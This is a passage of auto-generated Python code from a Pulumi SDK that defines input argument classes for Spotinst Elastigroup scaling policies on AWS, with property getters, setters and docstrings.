@property @pulumi.getter def dimensions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingDownPolicyDimensionArgs']]]]: """ A list of dimensions describing qualities of the metric. """ return pulumi.get(self, "dimensions") @dimensions.setter def dimensions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingDownPolicyDimensionArgs']]]]): pulumi.set(self, "dimensions", value) @property @pulumi.getter(name="evaluationPeriods") def evaluation_periods(self) -> Optional[pulumi.Input[int]]: """ The number of periods over which data is compared to the specified threshold. """ return pulumi.get(self, "evaluation_periods") @evaluation_periods.setter def evaluation_periods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "evaluation_periods", value) @property @pulumi.getter(name="isEnabled") def is_enabled(self) -> Optional[pulumi.Input[bool]]: """ Specifies whether the scaling policy described in this block is enabled. """ return pulumi.get(self, "is_enabled") @is_enabled.setter def is_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_enabled", value) @property @pulumi.getter(name="maxTargetCapacity") def max_target_capacity(self) -> Optional[pulumi.Input[str]]: """ . The number of the desired target (and maximum) capacity """ return pulumi.get(self, "max_target_capacity") @max_target_capacity.setter def max_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_target_capacity", value) @property @pulumi.getter def maximum(self) -> Optional[pulumi.Input[str]]: """ The maximal number of instances to have in the group. """ return pulumi.get(self, "maximum") @maximum.setter def maximum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "maximum", value) @property @pulumi.getter(name="minTargetCapacity") def min_target_capacity(self) -> Optional[pulumi.Input[str]]: """ The desired target capacity of a group. Required if using `"setMinTarget"` as action type """ return pulumi.get(self, "min_target_capacity") @min_target_capacity.setter def min_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "min_target_capacity", value) @property @pulumi.getter def minimum(self) -> Optional[pulumi.Input[str]]: """ The minimal number of instances to have in the group. """ return pulumi.get(self, "minimum") @minimum.setter def minimum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "minimum", value) @property @pulumi.getter def operator(self) -> Optional[pulumi.Input[str]]: """ The operator to use in order to determine if the scaling policy is applicable. Valid values: `"gt"`, `"gte"`, `"lt"`, `"lte"`. """ return pulumi.get(self, "operator") @operator.setter def operator(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "operator", value) @property @pulumi.getter def period(self) -> Optional[pulumi.Input[int]]: """ The granularity, in seconds, of the returned datapoints. Period must be at least 60 seconds and must be a multiple of 60. """ return pulumi.get(self, "period") @period.setter def period(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "period", value) @property @pulumi.getter def source(self) -> Optional[pulumi.Input[str]]: """ The source of the metric. Valid values: `"cloudWatch"`, `"spectrum"`. """ return pulumi.get(self, "source") @source.setter def source(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "source", value) @property @pulumi.getter def statistic(self) -> Optional[pulumi.Input[str]]: """ The metric statistics to return. For information about specific statistics go to [Statistics](http://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/index.html?CHAP_TerminologyandKeyConcepts.html#Statistic) in the Amazon CloudWatch Developer Guide. """ return pulumi.get(self, "statistic") @statistic.setter def statistic(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "statistic", value) @property @pulumi.getter(name="stepAdjustments") def step_adjustments(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingDownPolicyStepAdjustmentArgs']]]]: return pulumi.get(self, "step_adjustments") @step_adjustments.setter def step_adjustments(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingDownPolicyStepAdjustmentArgs']]]]): pulumi.set(self, "step_adjustments", value) @property @pulumi.getter def target(self) -> Optional[pulumi.Input[str]]: """ The target number of instances to have in the group. """ return pulumi.get(self, "target") @target.setter def target(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target", value) @property @pulumi.getter def threshold(self) -> Optional[pulumi.Input[float]]: """ The value against which the specified statistic is compared in order to determine if a step should be applied. """ return pulumi.get(self, "threshold") @threshold.setter def threshold(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "threshold", value) @property @pulumi.getter def unit(self) -> Optional[pulumi.Input[str]]: """ The unit for the alarm's associated metric. Valid values: `"percent`, `"seconds"`, `"microseconds"`, `"milliseconds"`, `"bytes"`, `"kilobytes"`, `"megabytes"`, `"gigabytes"`, `"terabytes"`, `"bits"`, `"kilobits"`, `"megabits"`, `"gigabits"`, `"terabits"`, `"count"`, `"bytes/second"`, `"kilobytes/second"`, `"megabytes/second"`, `"gigabytes/second"`, `"terabytes/second"`, `"bits/second"`, `"kilobits/second"`, `"megabits/second"`, `"gigabits/second"`, `"terabits/second"`, `"count/second"`, `"none"`. """ return pulumi.get(self, "unit") @unit.setter def unit(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "unit", value) @pulumi.input_type class ElastigroupScalingDownPolicyDimensionArgs: def __init__(__self__, *, name: pulumi.Input[str], value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: The record set name. :param pulumi.Input[str] value: The dimension value. """ pulumi.set(__self__, "name", name) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The record set name. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ The dimension value. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class ElastigroupScalingDownPolicyStepAdjustmentArgs: def __init__(__self__, *, action: pulumi.Input['ElastigroupScalingDownPolicyStepAdjustmentActionArgs'], threshold: pulumi.Input[int]): """ :param pulumi.Input['ElastigroupScalingDownPolicyStepAdjustmentActionArgs'] action: Action to take. Valid values: `REPLACE_SERVER`, `RESTART_SERVER`. :param pulumi.Input[int] threshold: The value against which the specified statistic is compared. If a `step_adjustment` object is defined, then it cannot be specified. """ pulumi.set(__self__, "action", action) pulumi.set(__self__, "threshold", threshold) @property @pulumi.getter def action(self) -> pulumi.Input['ElastigroupScalingDownPolicyStepAdjustmentActionArgs']: """ Action to take. Valid values: `REPLACE_SERVER`, `RESTART_SERVER`. """ return pulumi.get(self, "action") @action.setter def action(self, value: pulumi.Input['ElastigroupScalingDownPolicyStepAdjustmentActionArgs']): pulumi.set(self, "action", value) @property @pulumi.getter def threshold(self) -> pulumi.Input[int]: """ The value against which the specified statistic is compared. If a `step_adjustment` object is defined, then it cannot be specified. """ return pulumi.get(self, "threshold") @threshold.setter def threshold(self, value: pulumi.Input[int]): pulumi.set(self, "threshold", value) @pulumi.input_type class ElastigroupScalingDownPolicyStepAdjustmentActionArgs: def __init__(__self__, *, type: pulumi.Input[str], adjustment: Optional[pulumi.Input[str]] = None, max_target_capacity: Optional[pulumi.Input[str]] = None, maximum: Optional[pulumi.Input[str]] = None, min_target_capacity: Optional[pulumi.Input[str]] = None, minimum: Optional[pulumi.Input[str]] = None, target: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] type: String, Action type. Supported action types: `pause`, `resume`, `recycle`, `deallocate`. :param pulumi.Input[str] adjustment: The number of instances to add or remove. :param pulumi.Input[str] max_target_capacity: The desired target capacity of a group. Required if using `"setMaxTarget"` as action type :param pulumi.Input[str] maximum: The upper limit number of instances that you can scale up to. Required if using `"updateCapacity"` as action type and neither `"target"` nor `"minimum"` are not defined. :param pulumi.Input[str] min_target_capacity: The desired target capacity of a group. Required if using `"setMinTarget"` as action type :param pulumi.Input[str] minimum: The lower limit number of instances that you can scale down to. Required if using `"updateCapacity"` as action type and neither `"target"` nor `"maximum"` are not defined. :param pulumi.Input[str] target: The desired number of instances. Required if using `"updateCapacity"` as action type and neither `"minimum"` nor `"maximum"` are not defined. """ pulumi.set(__self__, "type", type) if adjustment is not None: pulumi.set(__self__, "adjustment", adjustment) if max_target_capacity is not None: pulumi.set(__self__, "max_target_capacity", max_target_capacity) if maximum is not None: pulumi.set(__self__, "maximum", maximum) if min_target_capacity is not None: pulumi.set(__self__, "min_target_capacity", min_target_capacity) if minimum is not None: pulumi.set(__self__, "minimum", minimum) if target is not None: pulumi.set(__self__, "target", target) @property @pulumi.getter def type(self) -> pulumi.Input[str]: """ String, Action type. Supported action types: `pause`, `resume`, `recycle`, `deallocate`. """ return pulumi.get(self, "type") @type.setter def type(self, value: pulumi.Input[str]): pulumi.set(self, "type", value) @property @pulumi.getter def adjustment(self) -> Optional[pulumi.Input[str]]: """ The number of instances to add or remove. """ return pulumi.get(self, "adjustment") @adjustment.setter def adjustment(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "adjustment", value) @property @pulumi.getter(name="maxTargetCapacity") def max_target_capacity(self) -> Optional[pulumi.Input[str]]: """ The desired target capacity of a group. Required if using `"setMaxTarget"` as action type """ return pulumi.get(self, "max_target_capacity") @max_target_capacity.setter def max_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_target_capacity", value) @property @pulumi.getter def maximum(self) -> Optional[pulumi.Input[str]]: """ The upper limit number of instances that you can scale up to. Required if using `"updateCapacity"` as action type and neither `"target"` nor `"minimum"` are not defined. """ return pulumi.get(self, "maximum") @maximum.setter def maximum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "maximum", value) @property @pulumi.getter(name="minTargetCapacity") def min_target_capacity(self) -> Optional[pulumi.Input[str]]: """ The desired target capacity of a group. Required if using `"setMinTarget"` as action type """ return pulumi.get(self, "min_target_capacity") @min_target_capacity.setter def min_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "min_target_capacity", value) @property @pulumi.getter def minimum(self) -> Optional[pulumi.Input[str]]: """ The lower limit number of instances that you can scale down to. Required if using `"updateCapacity"` as action type and neither `"target"` nor `"maximum"` are not defined. """ return pulumi.get(self, "minimum") @minimum.setter def minimum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "minimum", value) @property @pulumi.getter def target(self) -> Optional[pulumi.Input[str]]: """ The desired number of instances. Required if using `"updateCapacity"` as action type and neither `"minimum"` nor `"maximum"` are not defined. """ return pulumi.get(self, "target") @target.setter def target(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target", value) @pulumi.input_type class ElastigroupScalingStrategyArgs: def __init__(__self__, *, terminate_at_end_of_billing_hour: Optional[pulumi.Input[bool]] = None, termination_policy: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[bool] terminate_at_end_of_billing_hour: Specify whether to terminate instances at the end of each billing hour. :param pulumi.Input[str] termination_policy: - Determines whether to terminate the newest instances when performing a scaling action. Valid values: `"default"`, `"newestInstance"`. """ if terminate_at_end_of_billing_hour is not None: pulumi.set(__self__, "terminate_at_end_of_billing_hour", terminate_at_end_of_billing_hour) if termination_policy is not None: pulumi.set(__self__, "termination_policy", termination_policy) @property @pulumi.getter(name="terminateAtEndOfBillingHour") def terminate_at_end_of_billing_hour(self) -> Optional[pulumi.Input[bool]]: """ Specify whether to terminate instances at the end of each billing hour. """ return pulumi.get(self, "terminate_at_end_of_billing_hour") @terminate_at_end_of_billing_hour.setter def terminate_at_end_of_billing_hour(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "terminate_at_end_of_billing_hour", value) @property @pulumi.getter(name="terminationPolicy") def termination_policy(self) -> Optional[pulumi.Input[str]]: """ - Determines whether to terminate the newest instances when performing a scaling action. Valid values: `"default"`, `"newestInstance"`. """ return pulumi.get(self, "termination_policy") @termination_policy.setter def termination_policy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "termination_policy", value) @pulumi.input_type class ElastigroupScalingTargetPolicyArgs: def __init__(__self__, *, metric_name: pulumi.Input[str], namespace: pulumi.Input[str], policy_name: pulumi.Input[str], target: pulumi.Input[float], cooldown: Optional[pulumi.Input[int]] = None, dimensions: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingTargetPolicyDimensionArgs']]]] = None, evaluation_periods: Optional[pulumi.Input[int]] = None, max_capacity_per_scale: Optional[pulumi.Input[str]] = None, period: Optional[pulumi.Input[int]] = None, predictive_mode: Optional[pulumi.Input[str]] = None, source: Optional[pulumi.Input[str]] = None, statistic: Optional[pulumi.Input[str]] = None, unit: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] metric_name: String, the name of the metric, with or without spaces. :param pulumi.Input[str] namespace: String, the namespace for the alarm's associated metric. :param pulumi.Input[str] policy_name: String, the name of the policy. :param pulumi.Input[float] target: The target number of instances to have in the group. :param pulumi.Input[int] cooldown: Integer the amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. If this parameter is not specified, the default cooldown period for the group applies. :param pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingTargetPolicyDimensionArgs']]] dimensions: A list of dimensions describing qualities of the metric. :param pulumi.Input[int] evaluation_periods: How many evaluation periods should accumulate before a scale down action takes place. :param pulumi.Input[str] max_capacity_per_scale: String, restrict the maximal number of instances which can be added in each scale-up action. :param pulumi.Input[int] period: The granularity, in seconds, of the returned datapoints. Period must be at least 60 seconds and must be a multiple of 60. :param pulumi.Input[str] predictive_mode: Start a metric prediction process to determine the expected target metric value within the next two days. See [Predictive Autoscaling](https://api.spotinst.com/elastigroup-for-aws/concepts/scaling-concepts/predictive-autoscaling/) documentation for more info. Valid values: `FORECAST_AND_SCALE`, `FORECAST_ONLY`. :param pulumi.Input[str] source: String, the source of the metric. Valid values: `"cloudWatch"`, `"spectrum"`. :param pulumi.Input[str] statistic: String, the metric statistics to return. For information about specific statistics go to [Statistics](http://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/index.html?CHAP_TerminologyandKeyConcepts.html#Statistic) in the Amazon CloudWatch Developer Guide. :param pulumi.Input[str] unit: String, tThe unit for the alarm's associated metric. Valid values: `"percent`, `"seconds"`, `"microseconds"`, `"milliseconds"`, `"bytes"`, `"kilobytes"`, `"megabytes"`, `"gigabytes"`, `"terabytes"`, `"bits"`, `"kilobits"`, `"megabits"`, `"gigabits"`, `"terabits"`, `"count"`, `"bytes/second"`, `"kilobytes/second"`, `"megabytes/second"`, `"gigabytes/second"`, `"terabytes/second"`, `"bits/second"`, `"kilobits/second"`, `"megabits/second"`, `"gigabits/second"`, `"terabits/second"`, `"count/second"`, `"none"`. """ pulumi.set(__self__, "metric_name", metric_name) pulumi.set(__self__, "namespace", namespace) pulumi.set(__self__, "policy_name", policy_name) pulumi.set(__self__, "target", target) if cooldown is not None: pulumi.set(__self__, "cooldown", cooldown) if dimensions is not None: pulumi.set(__self__, "dimensions", dimensions) if evaluation_periods is not None: pulumi.set(__self__, "evaluation_periods", evaluation_periods) if max_capacity_per_scale is not None: pulumi.set(__self__, "max_capacity_per_scale", max_capacity_per_scale) if period is not None: pulumi.set(__self__, "period", period) if predictive_mode is not None: pulumi.set(__self__, "predictive_mode", predictive_mode) if source is not None: pulumi.set(__self__, "source", source) if statistic is not None: pulumi.set(__self__, "statistic", statistic) if unit is not None: pulumi.set(__self__, "unit", unit) @property @pulumi.getter(name="metricName") def metric_name(self) -> pulumi.Input[str]: """ String, the name of the metric, with or without spaces. """ return pulumi.get(self, "metric_name") @metric_name.setter def metric_name(self, value: pulumi.Input[str]): pulumi.set(self, "metric_name", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: """ String, the namespace for the alarm's associated metric. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter(name="policyName") def policy_name(self) -> pulumi.Input[str]: """ String, the name of the policy. """ return pulumi.get(self, "policy_name") @policy_name.setter def policy_name(self, value: pulumi.Input[str]): pulumi.set(self, "policy_name", value) @property @pulumi.getter def target(self) -> pulumi.Input[float]: """ The target number of instances to have in the group. """ return pulumi.get(self, "target") @target.setter def target(self, value: pulumi.Input[float]): pulumi.set(self, "target", value) @property @pulumi.getter def cooldown(self) -> Optional[pulumi.Input[int]]: """ Integer the amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. If this parameter is not specified, the default cooldown period for the group applies. """ return pulumi.get(self, "cooldown") @cooldown.setter def cooldown(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cooldown", value) @property @pulumi.getter def dimensions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingTargetPolicyDimensionArgs']]]]: """ A list of dimensions describing qualities of the metric. """ return pulumi.get(self, "dimensions") @dimensions.setter def dimensions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingTargetPolicyDimensionArgs']]]]): pulumi.set(self, "dimensions", value) @property @pulumi.getter(name="evaluationPeriods") def evaluation_periods(self) -> Optional[pulumi.Input[int]]: """ How many evaluation periods should accumulate before a scale down action takes place. """ return pulumi.get(self, "evaluation_periods") @evaluation_periods.setter def evaluation_periods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "evaluation_periods", value) @property @pulumi.getter(name="maxCapacityPerScale") def max_capacity_per_scale(self) -> Optional[pulumi.Input[str]]: """ String, restrict the maximal number of instances which can be added in each scale-up action. """ return pulumi.get(self, "max_capacity_per_scale") @max_capacity_per_scale.setter def max_capacity_per_scale(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_capacity_per_scale", value) @property @pulumi.getter def period(self) -> Optional[pulumi.Input[int]]: """ The granularity, in seconds, of the returned datapoints. Period must be at least 60 seconds and must be a multiple of 60. """ return pulumi.get(self, "period") @period.setter def period(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "period", value) @property @pulumi.getter(name="predictiveMode") def predictive_mode(self) -> Optional[pulumi.Input[str]]: """ Start a metric prediction process to determine the expected target metric value within the next two days. See [Predictive Autoscaling](https://api.spotinst.com/elastigroup-for-aws/concepts/scaling-concepts/predictive-autoscaling/) documentation for more info. Valid values: `FORECAST_AND_SCALE`, `FORECAST_ONLY`. """ return pulumi.get(self, "predictive_mode") @predictive_mode.setter def predictive_mode(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "predictive_mode", value) @property @pulumi.getter def source(self) -> Optional[pulumi.Input[str]]: """ String, the source of the metric. Valid values: `"cloudWatch"`, `"spectrum"`. """ return pulumi.get(self, "source") @source.setter def source(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "source", value) @property @pulumi.getter def statistic(self) -> Optional[pulumi.Input[str]]: """ String, the metric statistics to return. For information about specific statistics go to [Statistics](http://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/index.html?CHAP_TerminologyandKeyConcepts.html#Statistic) in the Amazon CloudWatch Developer Guide. """ return pulumi.get(self, "statistic") @statistic.setter def statistic(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "statistic", value) @property @pulumi.getter def unit(self) -> Optional[pulumi.Input[str]]: """ String, tThe unit for the alarm's associated metric. Valid values: `"percent`, `"seconds"`, `"microseconds"`, `"milliseconds"`, `"bytes"`, `"kilobytes"`, `"megabytes"`, `"gigabytes"`, `"terabytes"`, `"bits"`, `"kilobits"`, `"megabits"`, `"gigabits"`, `"terabits"`, `"count"`, `"bytes/second"`, `"kilobytes/second"`, `"megabytes/second"`, `"gigabytes/second"`, `"terabytes/second"`, `"bits/second"`, `"kilobits/second"`, `"megabits/second"`, `"gigabits/second"`, `"terabits/second"`, `"count/second"`, `"none"`. """ return pulumi.get(self, "unit") @unit.setter def unit(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "unit", value) @pulumi.input_type class ElastigroupScalingTargetPolicyDimensionArgs: def __init__(__self__, *, name: pulumi.Input[str], value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: The record set name. :param pulumi.Input[str] value: The dimension value. """ pulumi.set(__self__, "name", name) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ The record set name. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ The dimension value. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class ElastigroupScalingUpPolicyArgs: def __init__(__self__, *, metric_name: pulumi.Input[str], namespace: pulumi.Input[str], policy_name: pulumi.Input[str], action_type: Optional[pulumi.Input[str]] = None, adjustment: Optional[pulumi.Input[str]] = None, cooldown: Optional[pulumi.Input[int]] = None, dimensions: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingUpPolicyDimensionArgs']]]] = None, evaluation_periods: Optional[pulumi.Input[int]] = None, is_enabled: Optional[pulumi.Input[bool]] = None, max_target_capacity: Optional[pulumi.Input[str]] = None, maximum: Optional[pulumi.Input[str]] = None, min_target_capacity: Optional[pulumi.Input[str]] = None, minimum: Optional[pulumi.Input[str]] = None, operator: Optional[pulumi.Input[str]] = None, period: Optional[pulumi.Input[int]] = None, source: Optional[pulumi.Input[str]] = None, statistic: Optional[pulumi.Input[str]] = None, step_adjustments: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingUpPolicyStepAdjustmentArgs']]]] = None, target: Optional[pulumi.Input[str]] = None, threshold: Optional[pulumi.Input[float]] = None, unit: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] metric_name: The name of the metric, with or without spaces. :param pulumi.Input[str] namespace: The namespace for the alarm's associated metric. :param pulumi.Input[str] policy_name: The name of the policy. :param pulumi.Input[str] action_type: The type of action to perform for scaling. Valid values: `"adjustment"`, `"percentageAdjustment"`, `"setMaxTarget"`, `"setMinTarget"`, `"updateCapacity"`. If a `step_adjustment` object is defined, then it cannot be specified. :param pulumi.Input[str] adjustment: The number of instances to add/remove to/from the target capacity when scale is needed. Can be used as advanced expression for scaling of instances to add/remove to/from the target capacity when scale is needed. You can see more information here: Advanced expression. Example value: `"MAX(currCapacity / 5, value * 10)"` :param pulumi.Input[int] cooldown: The amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. If this parameter is not specified, the default cooldown period for the group applies. :param pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingUpPolicyDimensionArgs']]] dimensions: A list of dimensions describing qualities of the metric. :param pulumi.Input[int] evaluation_periods: The number of periods over which data is compared to the specified threshold. :param pulumi.Input[bool] is_enabled: Specifies whether the scaling policy described in this block is enabled. :param pulumi.Input[str] max_target_capacity: The desired target capacity of a group. Required if using `"setMaxTarget"` as action type :param pulumi.Input[str] maximum: The maximal number of instances to have in the group. :param pulumi.Input[str] min_target_capacity: . The number of the desired target (and minimum) capacity :param pulumi.Input[str] minimum: The minimal number of instances to have in the group. :param pulumi.Input[str] operator: The operator to use in order to determine if the scaling policy is applicable. Valid values: `"gt"`, `"gte"`, `"lt"`, `"lte"`. :param pulumi.Input[int] period: The granularity, in seconds, of the returned datapoints. Period must be at least 60 seconds and must be a multiple of 60. :param pulumi.Input[str] source: The source of the metric. Valid values: `"cloudWatch"`, `"spectrum"`. :param pulumi.Input[str] statistic: The metric statistics to return. For information about specific statistics go to [Statistics](http://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/index.html?CHAP_TerminologyandKeyConcepts.html#Statistic) in the Amazon CloudWatch Developer Guide. :param pulumi.Input[str] target: The target number of instances to have in the group. :param pulumi.Input[float] threshold: The value against which the specified statistic is compared in order to determine if a step should be applied. :param pulumi.Input[str] unit: The unit for the alarm's associated metric. Valid values: `"percent`, `"seconds"`, `"microseconds"`, `"milliseconds"`, `"bytes"`, `"kilobytes"`, `"megabytes"`, `"gigabytes"`, `"terabytes"`, `"bits"`, `"kilobits"`, `"megabits"`, `"gigabits"`, `"terabits"`, `"count"`, `"bytes/second"`, `"kilobytes/second"`, `"megabytes/second"`, `"gigabytes/second"`, `"terabytes/second"`, `"bits/second"`, `"kilobits/second"`, `"megabits/second"`, `"gigabits/second"`, `"terabits/second"`, `"count/second"`, `"none"`. """ pulumi.set(__self__, "metric_name", metric_name) pulumi.set(__self__, "namespace", namespace) pulumi.set(__self__, "policy_name", policy_name) if action_type is not None: pulumi.set(__self__, "action_type", action_type) if adjustment is not None: pulumi.set(__self__, "adjustment", adjustment) if cooldown is not None: pulumi.set(__self__, "cooldown", cooldown) if dimensions is not None: pulumi.set(__self__, "dimensions", dimensions) if evaluation_periods is not None: pulumi.set(__self__, "evaluation_periods", evaluation_periods) if is_enabled is not None: pulumi.set(__self__, "is_enabled", is_enabled) if max_target_capacity is not None: pulumi.set(__self__, "max_target_capacity", max_target_capacity) if maximum is not None: pulumi.set(__self__, "maximum", maximum) if min_target_capacity is not None: pulumi.set(__self__, "min_target_capacity", min_target_capacity) if minimum is not None: pulumi.set(__self__, "minimum", minimum) if operator is not None: pulumi.set(__self__, "operator", operator) if period is not None: pulumi.set(__self__, "period", period) if source is not None: pulumi.set(__self__, "source", source) if statistic is not None: pulumi.set(__self__, "statistic", statistic) if step_adjustments is not None: pulumi.set(__self__, "step_adjustments", step_adjustments) if target is not None: pulumi.set(__self__, "target", target) if threshold is not None: pulumi.set(__self__, "threshold", threshold) if unit is not None: pulumi.set(__self__, "unit", unit) @property @pulumi.getter(name="metricName") def metric_name(self) -> pulumi.Input[str]: """ The name of the metric, with or without spaces. """ return pulumi.get(self, "metric_name") @metric_name.setter def metric_name(self, value: pulumi.Input[str]): pulumi.set(self, "metric_name", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: """ The namespace for the alarm's associated metric. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter(name="policyName") def policy_name(self) -> pulumi.Input[str]: """ The name of the policy. """ return pulumi.get(self, "policy_name") @policy_name.setter def policy_name(self, value: pulumi.Input[str]): pulumi.set(self, "policy_name", value) @property @pulumi.getter(name="actionType") def action_type(self) -> Optional[pulumi.Input[str]]: """ The type of action to perform for scaling. Valid values: `"adjustment"`, `"percentageAdjustment"`, `"setMaxTarget"`, `"setMinTarget"`, `"updateCapacity"`. If a `step_adjustment` object is defined, then it cannot be specified. """ return pulumi.get(self, "action_type") @action_type.setter def action_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "action_type", value) @property @pulumi.getter def adjustment(self) -> Optional[pulumi.Input[str]]: """ The number of instances to add/remove to/from the target capacity when scale is needed. Can be used as advanced expression for scaling of instances to add/remove to/from the target capacity when scale is needed. You can see more information here: Advanced expression. Example value: `"MAX(currCapacity / 5, value * 10)"` """ return pulumi.get(self, "adjustment") @adjustment.setter def adjustment(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "adjustment", value) @property @pulumi.getter def cooldown(self) -> Optional[pulumi.Input[int]]: """ The amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. If this parameter is not specified, the default cooldown period for the group applies. """ return pulumi.get(self, "cooldown") @cooldown.setter def cooldown(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cooldown", value) @property @pulumi.getter def dimensions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingUpPolicyDimensionArgs']]]]: """ A list of dimensions describing qualities of the metric. """ return pulumi.get(self, "dimensions") @dimensions.setter def dimensions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ElastigroupScalingUpPolicyDimensionArgs']]]]): pulumi.set(self, "dimensions", value) @property @pulumi.getter(name="evaluationPeriods") def evaluation_periods(self) -> Optional[pulumi.Input[int]]: """ The number of periods over which data is compared to the specified threshold. """ return pulumi.get(self, "evaluation_periods") @evaluation_periods.setter def evaluation_periods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "evaluation_periods", value) @property @pulumi.getter(name="isEnabled") def is_enabled(self) -> Optional[pulumi.Input[bool]]: """ Specifies whether the scaling policy described in this block is enabled. """ return pulumi.get(self, "is_enabled") @is_enabled.setter def is_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_enabled", value) @property @pulumi.getter(name="maxTargetCapacity") def max_target_capacity(self) -> Optional[pulumi.Input[str]]: """ The desired target capacity of a group. Required if using `"setMaxTarget"` as action type """ return pulumi.get(self, "max_target_capacity") @max_target_capacity.setter def max_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_target_capacity", value) @property @pulumi.getter def maximum(self) -> Optional[pulumi.Input[str]]: """ The maximal number of instances to have in the group. """ return pulumi.get(self, "maximum") @maximum.setter def maximum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "maximum", value) @property @pulumi.getter(name="minTargetCapacity") def min_target_capacity(self) -> Optional[pulumi.Input[str]]: """ . The number of the desired target (and minimum) capacity """ return pulumi.get(self, "min_target_capacity") @min_target_capacity.setter def min_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "min_target_capacity", value) @property @pulumi.getter def minimum(self) -> Optional[pulumi.Input[str]]: """ The minimal number of instances to have in the group. """ return pulumi.get(self, "minimum") @minimum.setter def minimum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "minimum", value) @property @pulumi.getter def operator(self) -> Optional[pulumi.Input[str]]: """ The operator to use in order to determine if the scaling policy is applicable. Valid values: `"gt"`, `"gte"`, `"lt"`, `"lte"`. """ return pulumi.get(self, "operator") @operator.setter def operator(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "operator", value) @property @pulumi.getter def period(self) -> Optional[pulumi.Input[int]]: """ The granularity, in seconds, of the returned datapoints. Period must be at least 60 seconds and must be a multiple of 60. """ return pulumi.get(self, "period") @period.setter def period(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "period", value) @property @pulumi.getter def source(self) -> Optional[pulumi.Input[str]]: """ The source of the metric. Valid values: `"cloudWatch"`, `"spectrum"`. """ return pulumi.get(self, "source") 